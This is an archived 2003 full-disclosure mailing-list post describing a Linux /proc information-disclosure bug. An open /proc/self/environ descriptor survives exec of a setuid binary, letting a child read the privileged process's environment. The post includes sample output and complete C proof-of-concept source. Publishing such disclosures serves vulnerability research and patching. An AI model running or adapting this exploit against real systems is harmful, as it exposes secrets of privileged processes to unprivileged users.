Linux /proc sensitive information disclosure

From: Paul Starzetz (paulat_private)
Date: Fri Jun 20 2003 - 05:55:48 PDT

  • Next message: Michael Bemmerl: "[Full-Disclosure] Local file retrieving in QNX Internet Appliance Toolkit http-daemon (web.server)"

    Hello,
    
    attached a simple prrof of concept for the /proc filesystem disclosing 
    sensitive information.
    
    I noticed that opening an entry from /proc/self/ and keeping the file 
    open while executing a setuid binary prevents the opened proc entry from 
    changing the ownership from the initial user to the set-uid value. 
    However I'm not very sure about the impact of this bug (feature), the 
    attached code just reads the environment (which is per default mode 400).
    
    The technique can not be applied to /proc/self/mem because the permision 
    checks are made dynamically (the child must be ptraced etc.).
    
    This is a sample output of the PoC:
    
    
    paul@home:~/dev/expl> ./procex
    
    parent executing setuid
    PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
    64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
    64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
    
    child reads parent's proc:
    PWD=/home/paul/..........
    
    Content of /proc/32353
    ls: /proc/32353/cwd: Permission denied
    ls: /proc/32353/root: Permission denied
    ls: /proc/32353/exe: Permission denied
    
    -r--r--r--    1 root     root            0 Jun 20 14:47 cmdline
    lrwxrwxrwx    1 root     root            0 Jun 20 14:47 cwd
    -r--------    1 paul     users           0 Jun 20 14:47 environ [*]
    lrwxrwxrwx    1 root     root            0 Jun 20 14:47 exe
    [...]
    -r--r--r--    1 root     root            0 Jun 20 14:47 status
    64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms
    
    --- 127.0.0.1 ping statistics ---
    3 packets transmitted, 3 received, 0% loss, time 1998ms
    rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms
    
    [*] as you can see here the ownership didn't change...
    
    /ih
    
    
    
    /****************************************************************
    *								*
    *	Linux /proc information disclosure PoC			*
    *	by IhaQueR						*
    *								*
    ****************************************************************/
    
    
    
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/mman.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    
    
    
    static char buf[128];
    
    
    
    void fatal(const char *msg)
    {
        printf("\n");
        if (!errno) {
    	fprintf(stderr, "FATAL: %s\n", msg);
        } else {
    	perror(msg);
        }
    
        printf("\n");
        fflush(stdout);
        fflush(stderr);
        exit(129);
    }
    
    
    int main()
    {
        int fd, r;
        char c;
    
        sprintf(buf, "/proc/%d/environ", getpid());
        fd = open(buf, O_RDONLY);
        if (fd > 0) {
    	sprintf(buf, "/proc/%d", getpid());
    	if (fork()) {
    	    printf("\nparent executing setuid\n");
    	    fflush(stdout);
    	    execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
    	    fatal("execl");
    	} else {
    	    sleep(1);
    	    printf("\nchild reads parent's proc:\n");
    	    fflush(stdout);
    	    while (1) {
    		r = read(fd, &c, 1);
    		if (r <= 0)
    		    break;
    		printf("%c", c);
    	    }
    	    printf("\n\nContent of %s\n", buf);
    	    fflush(stdout);
    	    execl("/bin/ls", "ls", "-l", buf, NULL);
    	}
        } else
    	fatal("open proc");
    
        printf("\n");
        fflush(stdout);
    
        return 0;
    }
    



    This archive was generated by hypermail 2b30 : Sat Jun 21 2003 - 11:15:16 PDT